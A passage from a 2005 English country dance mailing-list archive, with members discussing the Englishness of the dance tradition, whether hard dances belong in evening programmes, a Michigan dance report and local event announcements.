connection with the revival of English dance in the U.S.  However, I do think we've moved away from the Sharp tradition and vision which was certainly continued by May Gadd and Lily Roberts Conant.  Pat Shaw really helped to ""break the barrier"" or ""push the envelope"" in 1974 when he came to the U.S.  My Canadian colleague Andriy Nahachewsky researches Ukranian dance in Canada at the University of Alberta, and there is such a difference in the contexts for dance and the reasons people take part in it; it is all about ethnic identity in the diaspora.  When I asked a French colleague why she did Polish dance (including performances) growing up, she said because it was fun, not because she is of Polish heritage.  She is actually researching dances of Yemeni Jews in Israel, within the larger context of the ""creation"" of I! sraeli folk dance.  Some very interesting stuff.If anyone is interested in discussing this further with me, I am more than happy to, and can do it onlist or offlist, whatever is best.  I'd be very intrigued to know what ECD-Listers think of this. Stephanie SmithBethesda, MDPaul Sartin wrote: That'll be the David Blunkett that's been trying to bring in compulsory standard(ising) identity cards against the will of the majority of the English people(s). BTW, having been to many of them, I agree that the Proms are great, apart from the last night which (like Sharp et al) has very little to do with most of England, past or present, and, also, like most English institutions, is viewed by us with a strange mixture of affection and loathing. Paul. England. On Sat, 10 Sep 2005 18:14:08 -0400 ""Emily L. Ferguson"" writes: <>It's laden with the Englishness that I grew up with and there's something about it that <>pertains to the heritage of the dancing we care about here in the US-a sense of  nationality and sentiment and late 19th C Englishness that calledso strongly to Sharpand Gay and Lily Roberts Conant, Vaughan Williams andMaud Karpeles.Speaking of which (I've been waiting for a chance to mention this on thelist), on the EFDSS web site there's an excellent, thoughtful essay by DavidBlunkett, MP, called ""A New England: An English Identity within Britain"" forthose interested in issues of pluralism, whether in England or elsewhere.Mike FranchBaltimore, Md. ----__JWM__J41c6.167eS.2781M-- ================================================================================ Archive-Date: Sat, 10 Sep 2005 21:06:54 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Sat, 10 Sep 2005 23:58:39 -0400 Subject: Re: [ECD] Englishness of ECD Message-ID: <20050910.235903.-588575.0.franch-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: franch-AT-juno.com Reply-To: ECD-AT-playford.slac.stanford.edu As far as I can tell, in Baltimore there are separate galaxies in the folk dance universe: heritage dancers and ""Others."" The heritage dancers community is just that: they seem to do the dances of a particular ethnic group. These dances are part of the continued expression of a given culture, and the dancing, it seems to me (as an outsider) are secondary to the cultural expression. The ""Others"" seem to me to be communities which put dance first. People do ECD, Balkan, Scottish, Scandinavian, contra, or Cajun/Zydeco dances because they like the Some people develop an interest in the culture that gave rise to the dances, but others have no knowledge or interest in the cultural or historical background (which might be just as well; if you really thought about the Siege of Limerick, we might not want to be commemorating it with a dance). I think some people like to play at an ethnic identity, but that's another issue. This topic greatly interests me. If it is not appropriate for this list, I'd love to pursue it in another cyber venue. Mike Franch ================================================================================ Archive-Date: Sat, 10 Sep 2005 22:15:10 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v622) References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-ID: <13d5885f4256ffb08606495b235b5faf-AT-alumni.williams.edu> Content-Transfer-Encoding: 7bit From: Carl Friedman Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Hard dances, was What We Learned Date: Sun, 11 Sep 2005 01:14:44 -0400 To: ECD-AT-ssrl04.slac.stanford.edu On Sep 10, 2005, at 2:26 PM, Orly Krasner wrote: > Hi All-- > A few observations on the subject of hard dances. . . . I'm sensing > a > subliminal ""frisson"" attached to the subject. (Have we all become so > timid > as dancers/teachers that we're scared of them?) I think that there are very good reasons to be very cautious (though not ""scared"" per se) about the inclusion of ""hard"" dances in an evening program of dances for a community of dancers, regardless of their experience (you can find something that is ""hard"" for any given level). People come to a dance for enjoyment. True, some get enjoyment from successfully completing a dance perceived as very difficult. But I think very few dancers wish to spend 15-20 minutes walking through and learning a dance that takes 90 seconds to do. In fact, if you ask contra dancers what they think about ECD, those who have tried it but didn't like it will cite that problem more often than any other. There are few things you can do in a program that will turn off beginner faster than having them spend too much time walking to your talking, and too little time dancing. > Virtually any difficulty can be mastered with time and patience. (I > say > this as a trained pianist. Practice, practice, practice!) But some difficulties are worth the trouble, some aren't. Although I suspect I'll get disagreement from those on this list, for the average ECD dancer, ""difficulty"" is a negative, and ""practice"" (let alone ""practice, practice, practice"") is not what they came to the dance to do - they came to dance. The ""better"" a dance is, the more it's worth the work you need to put into it. This is, of course, extremely subjective, but I think that as most classical music buffs would agree that Beethoven's Ninth Symphony is ""better"" than his First, I suspect most ECD'ers would agree that Newcastle is (somehow) ""better"" than Fair Quaker of Deal, so some discussion along these lines is possible. So, to me, it's worth the effort to learn The Friendly Brooke, for example, with it's different, unforgiving, and complicated figures - because the reward is so great. But it's not worth what is probably a similar effort to learn Cupid's Garden. And neither works well for an evening dance unless you have virtually all extremely experience dancers - both are the stuff of workshops and Balls. > There's nothing wrong with ""hard."" Hard is not a bad thing. When I > first started dancing, EVERYTHING we did was hard. It was a leap of > faith > that my partner, my set, my caller would get me through. And now I've > helped others through in each of those roles. Challenges make us grow > and > keep us fresh. Go for it! > --Orly Krasner (who's counting the hours until Tuesday when the > regular NYC > season starts up. . . .) But ""hard"" is not a good thing either. If the challenge yields sufficient reward, then go for it. But picking dances for a program for their difficulty makes little sense to me. Given equal rewards, equally ""good"" dances, give me the easier one. Carl ================================================================================ Archive-Date: Sat, 10 Sep 2005 23:32:25 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <005a01c5b69a$3fbb8580$748f4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: Subject: Re: [ECD] Proms online Date: Sun, 11 Sep 2005 01:30:04 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Emily L. Ferguson"" <> Well, the tune *was* collected in County Derry. mid-nineteenth century, and that was and is part of the UK. The words are another story, of course. Peace, Paul ================================================================================ Archive-Date: Sat, 10 Sep 2005 23:54:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: ""Ric Goldman"" Reply-To: ECD-AT-playford.slac.stanford.edu To: ""List - ECD PLAYFORD"" Subject: [ECD] ECD in Vegas - guaranteed payoff! Date: Sat, 10 Sep 2005 23:55:05 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Hi folks, Yep it's confirmed. Here's an excerpt from the local Henderson community arts calendar that my parents (who live there) sent me http://www.viewnews.com/2005/VIEW-Aug-19-Fri-2005/Henderson/2982415.html (Henderson is the residential community about 15 minutes from the Las Vegas strip): ""English Country Dance takes place on the second and third Mondays from 6:30 until 8:45 p.m. Admission is free for the event at the Jewel Box Theatre, Clark County Library, 1401 E. Flamingo Ave. For more information, call 656-9513."" (Note the local area code is 702) Thanx, Ric Goldman Email: timelord-AT-rgoldman.org Web : http://rgoldman.org/welcome.htm ================================================================================ Archive-Date: Sun, 11 Sep 2005 02:11:21 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <200509110910.j8B9Ancw027237-AT-nospam4.slac.stanford.edu> Reply-To: ECD-AT-playford.slac.stanford.edu From: ""Paul Sartin"" To: Subject: RE: [ECD] Proms online Date: Sun, 11 Sep 2005 10:10:40 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Just the orchestra . . . Paul.x At 12:40 AM +0100 9/11/05, Paul Sartin wrote: >BTW, having been to many of them, I agree that the Proms are great, >apart from the last night which (like Sharp et al) has very little to >do with most of England, past or present, and, also, like most English >institutions, is viewed by us with a strange mixture of affection and loathing. >Paul. England. > Do the people who go to the last night fest come away with that same mixture? ================================================================================ Archive-Date: Sun, 11 Sep 2005 02:26:56 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 11 Sep 2005 02:25:50 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] Englishness of ECD To: franch-AT-juno.com CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSW05YIUDM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii > As far as I can tell, in Baltimore there are separate galaxies in the > folk dance universe: heritage dancers and ""Others."" > The heritage dancers community is just that: they seem to do the dances > of a particular ethnic group. These dances are part of the continued > expression of a given culture, and the dancing, it seems to me (as an > outsider) are secondary to the cultural expression. > The ""Others"" seem to me to be communities which put dance first. People > do ECD, Balkan, Scottish, Scandinavian, contra, or Cajun/Zydeco dances > because they like the Some people develop an interest in the culture that > gave rise to the dances, but others have no knowledge or interest in the > cultural or historical background (which might be just as well; if you > really thought about the Siege of Limerick, we might not want to be > commemorating it with a dance). I think some people like to play at an > ethnic identity, but that's another issue. > This topic greatly interests me. If it is not appropriate for this list, > I'd love to pursue it in another cyber venue. I declare it appropriate, if that makes any difference. -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Sun, 11 Sep 2005 02:48:29 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 11 Sep 2005 02:48:02 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: (forward from Colin Hume, re Hard Dances) To: ecd-AT-ssrl04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSW0WDBCQ29YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: message/rfc822 Return-path: Received: from nospam3.slac.stanford.edu (nospam3.slac.stanford.edu [134.79.18.83]) by SSRL.SLAC.STANFORD.EDU (PMDF V6.2-X27 #30919) with ESMTP id <01LSW0RCBGT09YXH11-AT-SSRL.SLAC.STANFORD.EDU> for winston-AT-SSRL.SLAC.STANFORD.EDU (ORCPT winston-AT-ssrl01.SLAC.Stanford.Edu); Sun, 11 Sep 2005 02:43:39 -0700 (PDT) Received: from c2bthomr03.btconnect.com (c2bthomr03.btconnect.com [194.73.73.211]) by nospam3.slac.stanford.edu (8.12.11/8.12.11) with ESMTP id j8B9hZiS013808 for ; Sun, 11 Sep 2005 02:43:36 -0700 Received: from Colin (host81-137-228-73.in-addr.btopenworld.com [81.137.228.73]) by c2bthomr03.btconnect.com (MOS 3.5.9-GR) with ESMTP id CRZ63558 (AUTH colin.hume); Sun, 11 Sep 2005 10:42:57 +0100 (BST) Date: Sun, 11 Sep 2005 08:31:57 +0100 From: Colin Hume Subject: Re: [ECD] Hard dances, was What We Learned In-reply-to: <200591183157.699787-AT-Colin> To: Alan Winston Message-id: <2005911104325.566013-AT-Colin> MIME-version: 1.0 X-Mailer: PocoMail 3.4 (2130) - Licensed Version Content-type: text/plain; charset=us-ascii X-PMX-Version: 4.7.1.128075, Antispam-Engine: 2.0.3.2, Antispam-Data: 2005.9.11.4 X-PerlMx-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0' Original-recipient: rfc822;winston-AT-ssrl01.SLAC.Stanford.Edu Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by nospam3.slac.stanford.edu id j8B9m4us013914 Alan - I'm having problems with my email, so can't send messages to the ECD List. Please oblige. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D On Sat, 10 Sep 2005 18:26:05 +0000, Orly Krasner wrote: > A few observations on the subject of hard dances A brilliant assessment, meaning that I agree with all of it. May I use it on my website? It seems to be another difference between dancing in the States and in England. Here we don't have the core repertoire that you have in the States (I'm not saying that's a good thing, just that it's a fact) and I would say that most evenings consist of a high proportion of dances unknown to most of the dancers. It doesn't seem to be a problem. Of course an unknown dance is not necessarily a hard dance. On Sun, 11 Sep 2005 01:14:44 -0400, Carl Friedman wrote: > So, to me, it's worth the effort to learn The Friendly Brooke, for > example, with its different, unforgiving, and complicated figures > - because the reward is so great. But it's not worth what is > probably a similar effort to learn Cupid's Garden. Well, that's not my opinion. I think Cupid's Garden (from Maggot Pie) is a wonderful dance and I've called it many times with great success. It seems dancers in England are much more willing to do a long walkthrough, and a Playford-style dance with three totally different figures is perfectly acceptable. Renata and I were at Pinewoods several years ago and were bored with some of the evening dances where we were given the same stuff over and over again. But it seems to be what most Americans want. Brad Foster discussed it with me, saying that in the evenings people wanted simple familiar dances, not what I was giving them (and I have a great respect for Brad). I asked a few good dancers including Mary Kay Friday, and they all agreed. Renata says that if she's tired by the evening and is given simple dances she switches off and becomes even more tired, whereas the occasional challenge will wake her up. I'm certainly not saying that an evening dance should be a workshop, but I think you've swung too far the other way in the States. Let me point out that I _am_ capable of calling a whole evening of simple dances - I've called hundreds of barn dances, and for nine years I helped run the =93Beginners=94 sessions at Cecil Sharp House in London every Thursday. I even call children's dances, and would love to be booked by CDSS for Family Week! Colin Hume Email colin-AT-colinhume.com Web site http://www.colinhume.com --=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-= 3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 9= 4025 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D ================================================================================ Archive-Date: Sun, 11 Sep 2005 06:44:57 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Sun, 11 Sep 2005 09:45:09 -0400 Subject: Re: [ECD] What We Learned from AA's summer vac theme dance Message-ID: <20050911.094513.-699853.2.FFuerst-AT-juno.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=--__JNP_000_3df3.11d6.0160 From: Fae Fuerst Reply-To: ECD-AT-playford.slac.stanford.edu This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ----__JNP_000_3df3.11d6.0160 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Here are the details of how the program went (in my opinion, of course) for those interested. I'll also add that, like the June dance, this dance ran miraculously exactly on schedule -- and it was also too hot in the hall again! Our band was the extra-special combination of Earl Gaddis of Bare Necessities and Anne Ogren and Debbie Jackson of Childgrove, so it was no surprise that people enjoyed the music a lot. (We were thrilled to hear that Earl is moving to the Kalamazoo area!) I wish we'd heard more music earlier in the teaching; there were too many music-less walkthroughs, though this got better as the evening progressed. I forgot to ask the band to play the tunes as each caller was coming up (or something) and our callers didn't always think of it either. Ray Bantle, Ruth Scodel, Shirley Harden, and Dan Blim (who just moved here from Philadelphia) taught dances that they and others (including some of you) had requested or suggested. The idea was that these were our fellow dancers sharing what they'd learned at camp. Overall, they did a pretty nice job and were well received, with the inevitable rough moments and better patches that you'd expect at a ""potluck."" This was the program as danced: Heather Towers -- Ray (to the tune of Moon and Seven Stars) Trip to San Jose -- Ruth Vivaldi in Paradise -- Shirley Key to the Cellar -- Dan Perpetual Motion -- Ruth Renewed Friendship -- Shirley Alice -- Ruth -- break -- Mr. Legge's Initiation -- Ray Treasure of the Big Woods -- Ray Mendocino Redwood -- Shirley Wibsey Roundabout -- Dan Sunlight Through Draperies -- Dan Heather Towers worked well as a starter -- with the alternate jig it was, as I expected, a nice undemanding beginning for this crowd, while not being easy enough to give anyone a false sense of security. I was sorry we didn't manage to get the original tune played as well -- I was curious about that. Trip to San Jose went okay as well, though I'm still wondering if it was really the dance I was trying to remember from Buffalo Gap, and if not, what on earth that dance was. There was a nice energy spike when we heard the music for Vivaldi in Paradise; you could see people think ""whoo! That's what we're here for!"" The hey and gypsy required the dancers to gear up a bit in their concentration, and I was pleased with this as a third dance. I guess it wasn't fair to expect Key to the Cellar to thrill me as much as it did at dance camp, but it was very nice...Perpetual Motion was hard to get rolling and suffered from too many cooks trying to teach it from the floor -- it had generated a lot of theories and rules before we even started. I was glad we did it and will try to get back to it sometime. Thank you for saving me from putting it too early! This spot was just right. At the last minute I switched Renewed Friendship to the ""if-time"" sixth slot instead of Mendocino Redwood, thus being sure to avoid having the only two set dances AND mixers right next to each other if we ran early or late. It was fun here. That meant we didn't really need Alice as a relief dance, and it wasn't quite the peak I expected -- but I expected a lot from it, and others may disagree. It was certainly nice. We ended the break on time, somewhat reluctantly, and as soon as I heard the beginning notes of Mr. Legge's Initiation I knew the second half was going to fly and got a big grin on my face. People settled into their stride and really enjoyed this dance. Then Treasure of the Big Woods -- ba-boom -- went very well, once people got the timing of the gypsies and setting in lines. These are both Joseph Pimentel dances to Dave Wiesler tunes, and it was excellent to have them together. (I'm so happy that Dave Wiesler is in our world!) Mendocino Redwood is a nice easy dance with that brand-spanking-new cachet, and I think this may have been the first dance we managed to just roll right into. At this point the lack of any run-around dances in the program started to make itself felt, as people started skipping in the stars, and then in the half-figure eights... We scraped up exactly three sets for Wibsey Roundabout -- lucky again. This is a familiar, reliably fun dance in Michigan and didn't disappoint. As we moved into Sunlight Through Draperies ahead of schedule I was wondering, ""do we throw in Yellow Stockings?"" but we ran STD long instead and this seemed like the right choice. A few people had reservations about how much they would enjoy this dance, but on the night it was a sweet, smooth cooldown to end the evening, and the band hit a beautiful groove -- not for the first time, of course. Several people told me that this was the best evening of English country dancing they'd had for a long time. Others presumably didn't have such a good time, but there were general kudos. I get so adrenalized at these things, though, that I can't really tell how good they are. One of the many reasons I won't be doing this regularly! See my other post for the rest of the ""report."" Many thanks to all who helped with this, Fae Fuerst ----__JNP_000_3df3.11d6.0160 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable Here are the details of how the program went (in my opinion, of course= ) for=20 those interested. I'll also add that, like the June dance, this dance = ran=20 miraculously exactly on schedule -- and it was also too hot in the hall = again!=20   Our band was the extra-special combination of Earl Gaddis of Bare= =20 Necessities and Anne Ogren and Debbie Jackson of Childgrove, so it was no=20 surprise that people enjoyed the music a lot. (We were thrilled to = hear=20 that Earl is moving to the Kalamazoo area!) I wish we'd heard = more=20 music earlier in the teaching; there were too many music-less = walkthroughs,=20 though this got better as the evening progressed. I forgot = to ask=20 the band to play the tunes as each caller was coming up (or = something)=20 and our callers didn't always think of it either.   Ray Bantle, Ruth Scodel, Shirley Harden, and Dan Blim (who just moved = here=20 from Philadelphia) taught dances that they and others (including some = of=20 you) had requested or suggested. The idea was that these were our = fellow=20 dancers sharing what they'd learned at camp. Overall, they=20 did a pretty nice job and were well received, with the= =20 inevitable rough moments and better patches that you'd expect at a=20 ""potluck.""   This was the program as danced:   Heather Towers -- Ray (to the tune of Moon and Seven Stars)= Trip to=20 San Jose -- RuthVivaldi in Paradise -- ShirleyKey to the Cellar --= =20 DanPerpetual Motion -- RuthRenewed Friendship -- ShirleyAlice -= -=20 Ruth-- break --Mr. Legge's Initiation -- RayTreasure of the Big= =20 Woods -- RayMendocino Redwood -- Shirley Wibsey Roundabout -- DanSunlight Through Draperies -- Dan   Heather Towers worked well as a starter -- with the alternate jig it = was,=20 as I expected, a nice undemanding beginning for this crowd, while not being= =20 easy enough to give anyone a false sense of security. I was sorry= we=20 didn't manage to get the original tune played as well -- I was curious = about=20 that. Trip to San Jose went okay as well, though I'm still wondering if it = was=20 really the dance I was trying to remember from Buffalo Gap, and if not, = what on=20 earth that dance was. There was a nice energy spike when we heard the music= for=20 Vivaldi in Paradise; you could see people think ""whoo! That's what we're = here=20 for!"" The hey and gypsy required the dancers to gear up a = bit in=20 their concentration, and I was pleased with this as a third dance. I guess = it=20 wasn't fair to expect Key to the Cellar to thrill me as much as it did at = dance=20 camp, but it was very nice...Perpetual Motion was hard to get rolling and=20 suffered from too many cooks trying to teach it from the floor -- it had=20 generated a lot of theories and rules before we even started. I was = glad we=20 did it and will try to get back to it sometime. Thank you for saving me = from=20 putting it too early! This spot was just right.   At the last minute I switched Renewed Friendship to the ""if-time"" = sixth=20 slot instead of Mendocino Redwood, thus being sure to avoid having the only= two=20 set dances AND mixers right next to each other if we ran early or late. It = was=20 fun here. That meant we didn't really need Alice as a relief dance, = and it=20 wasn't quite the peak I expected -- but I expected a lot from it,=20 and others may disagree. It was certainly nice.   We ended the break on time, somewhat reluctantly, and as soon as I = heard=20 the beginning notes of Mr. Legge's Initiation I knew the second half was = going=20 to fly and got a big grin on my face. People settled into their stride and= =20 really enjoyed this dance. Then Treasure of the Big Woods -- ba-boom -- = went=20 very well, once people got the timing of the gypsies and setting in lines. = These=20 are both Joseph Pimentel dances to Dave Wiesler tunes, and it was = excellent=20 to have them together. (I'm so happy that Dave Wiesler is in our world= !)=20 Mendocino Redwood is a nice easy dance with that brand-spanking-new = cachet,=20 and I think this may have been the first dance we managed to just roll= =20 right into. At this point the lack of any run-around dances in the = program=20 started to make itself felt, as people started skipping in the stars, and = then=20 in the half-figure eights...   We scraped up exactly three sets for Wibsey Roundabout -- lucky = again.=20 This is a familiar, reliably fun dance in Michigan and didn't disappoint. = As we=20 moved into Sunlight Through Draperies ahead of schedule I was wondering,=20 ""do we throw in Yellow Stockings?"" but we ran STD long instead and = this=20 seemed like the right choice. A few people had reservations about= how=20 much they would enjoy this dance, but on the night it was a sweet, smooth=20 cooldown to end the evening, and the band hit a beautiful groove = --=20 not for the first time, of course.   Several people told me that this was the best evening of English = country=20 dancing they'd had for a long time. Others presumably didn't have such a = good=20 time, but there were general kudos. I get so adrenalized at these things,=20 though, that I can't really tell how good they are. One of the many = reasons=20 I won't be doing this regularly!   See my other post for the rest of the ""report.""   Many thanks to all who helped with this,   Fae Fuerst   ----__JNP_000_3df3.11d6.0160-- ================================================================================ Archive-Date: Sun, 11 Sep 2005 09:27:11 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu References: <01LSW0WDBCQ29YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 (Apple Message framework v622) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-ID: <59dd7a4d8e4d6c7b34b720b081e54b8b-AT-alumni.williams.edu> Content-Transfer-Encoding: 7bit CC: Colin Hume From: Carl Friedman Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] Re: (forward from Colin Hume, re Hard Dances) Date: Sun, 11 Sep 2005 12:26:34 -0400 To: ECD-AT-ssrl04.slac.stanford.edu Sorry Colin, I didn't mean to imply that I don't like the dance or that it can't be done efficiently. I just find that spending the amount of time it has taken just to get through Cupid's Garden where I have danced it (Pinewoods, Baltimore), much less actually dance it to a satisfactory degree, has seemed inordinate for the level of reward, by comparison to Friendly Brooke. Certainly the experience level of the dancers affects this, as well as the ability of the teacher. Having see you (Colin) teach Step Stately in about 5 minutes, I can believe your success with Cupid's Garden. Carl On Sep 11, 2005, at 5:48 AM, Alan Winston - SSRL Central Computing wrote: > Well, that's not my opinion. I think Cupid's Garden (from Maggot > Pie) is a wonderful dance and I've called it many times with great > success. ================================================================================ Archive-Date: Sun, 11 Sep 2005 09:58:09 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v622) Content-Transfer-Encoding: quoted-printable Message-ID: <5b93f2cff422b20043e387a350811eb9-AT-alumni.williams.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed To: ECD List From: Carl Friedman Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] Fwd: Tribute/Benefit Concert for Kate Charles Date: Sun, 11 Sep 2005 12:57:38 -0400 This may be of interest to many of you. Carl > Tribute/Benefit Concert for Kate Charles > Saturday, 1 October 2005, 7:30 p.m. > Bryn Mawr School, 109 W. Melrose Avenue, Baltimore, MD 21210 > > This tribute/benefit concert for caller/musician Kate Charles features=20= > the GRAMMY=AE-winning duo of Cathy Fink and Marcy Marxer, along with = the=20 > Critton Hollow String Band. Cathy and Marcy will be celebrating the=20= > release of their 23rd CD, Scat Like That, on Rounder Records. =20 > Bluemont Morris and Albermarle Morris will dance before the concert. =20= > In addition, a silent auction is planned before the concert and during=20= > the intermission. WYPR is the media sponsor for this event. > > Co-sponsored by the Baltimore Folk Music Society (BFMS) and the=20 > Waldorf School, the concert benefits Kate Charles, a long-time contra=20= > and square dance caller, old-time banjo and guitar musician, and=20 > morris dancer. She has been BFMS American Dance chair and secretary=20= > of the Country Dance and Song Society (CDSS). She also taught at the=20= > Waldorf School of Baltimore for many years and actively supported=20 > local cultural institutions such as Center Stage. Kate is suffering=20= > from early-onset Alzheimer=92s disease and, although only in her=20 > mid-50s, has had to be in an assisted living facility for the last=20 > three years. > > Come to this family-friendly event and enjoy a wonderful night of old=20= > time, jazz and swing music. If you can=92t attend but would like to=20= > help, please send a contribution or a donation for the silent auction.=20= > Doors open at 6:30 p.m. for the silent auction. Tickets are $20 ($10=20= > for 10 and under) and may be purchased at the door or in advance from=20= > BFMS. For advance tickets and/or to make a contribution, make your=20 > check out to BFMS and send to ""Benefit for Kate"", 127 Longview Drive,=20= > Baltimore, MD 21228. Please include names and number of tickets at=20 > each price, and a phone number, along with a self-addressed stamped=20 > envelope. For more information, please contact Barbara Morrison,=20 > 410-585-1781, barb558-AT-hotmail.com or www.bfms.org. > > ================================================================================ Archive-Date: Sun, 11 Sep 2005 10:09:40 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <20050911.094513.-699853.2.FFuerst-AT-juno.com> Date: Sun, 11 Sep 2005 10:11:53 -0700 To: ECD-AT-ssrl04.slac.stanford.edu From: Mary Luckhardt Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] What We Learned from AA's summer vac theme dance Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 9:45 AM -0400 9/11/05, Fae Fuerst wrote: > Mendocino Redwood is a nice easy dance with that brand-spanking-new >cachet, and I think this may have been the first dance we managed to >just roll right into. At this point the lack of any >run-around dances in the program started to make itself felt, as >people started skipping in the stars, and then in the half-figure >eights... We've done Mendocino Redwood several times in the Bay Area at different dance series. Bob Fraley, one of the authors, calls it. I always skip for the 1/2 figure eights and hope that others pick it up, which they usually do. The original intention was to skip them (not the stars, IIRC) since the dance is so high energy. I remember a distinct thrill when we first showed that dance to the assembled camp at Mendocino show and tell, the 2's bursting up in that 2nd phrase. We seem to have lost Sharp's running step in most dances, but this one seems to require it for the doubles and crosses. So, is this the best dance ever written by a committee?? Mary ================================================================================ Archive-Date: Sun, 11 Sep 2005 12:15:01 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <003501c5b701$4c7c6c00$653b0751-AT-trevormo> From: ""Trev"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <20050911.094513.-699853.2.FFuerst-AT-juno.com> Subject: Re: [ECD] What We Learned from AA's summer vac theme dance Date: Sun, 11 Sep 2005 19:46:46 +0100 MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=iso-8859-1 Mary said > So, is this the best dance ever written by a committee?? > Don't know as never seen or heard of Mendocino Redwood before. But have a look at ""Stake through the Heart"" from the ""Dracula Collection"" written in the Write a Dance for Whitby workshops at the Whitby Folk Festival back in1988. That's not a bad dance, and written by at least 13 people at the workshops. As a bit of added impetus, I also understand the dances (6 that year) had to be written and also published in a booklet before the end of the week festival. Trev -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.344 / Virus Database: 267.10.18/91 - Release Date: 06/09/05 ================================================================================ Archive-Date: Sun, 11 Sep 2005 15:57:10 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v734) References: <20050911.094513.-699853.2.FFuerst-AT-juno.com> <003501c5b701$4c7c6c00$653b0751-AT-trevormo> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-ID: Content-Transfer-Encoding: 7bit From: Terence Gaffney Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] Boston Centre's season opener Date: Sun, 11 Sep 2005 18:56:48 -0400 To: ECD-AT-ssrl04.slac.stanford.edu Dear Friends, Help us to start our season with a bang! We're opening the Wednesday dance series this Wednesday Sept 14, with a party, featuring all of our leaders, and the music of Bare Necessities. The dance begins at 7:30PM at the Park Avenue Community Church in Arlington Ma, just off Route 2 and an easy bus ride from Harvard Square. After all the buzz about dances we learned this summer, I'm curious to see what our leaders have produced. For more details about the dance, how to get there and special events for this season, please consult our 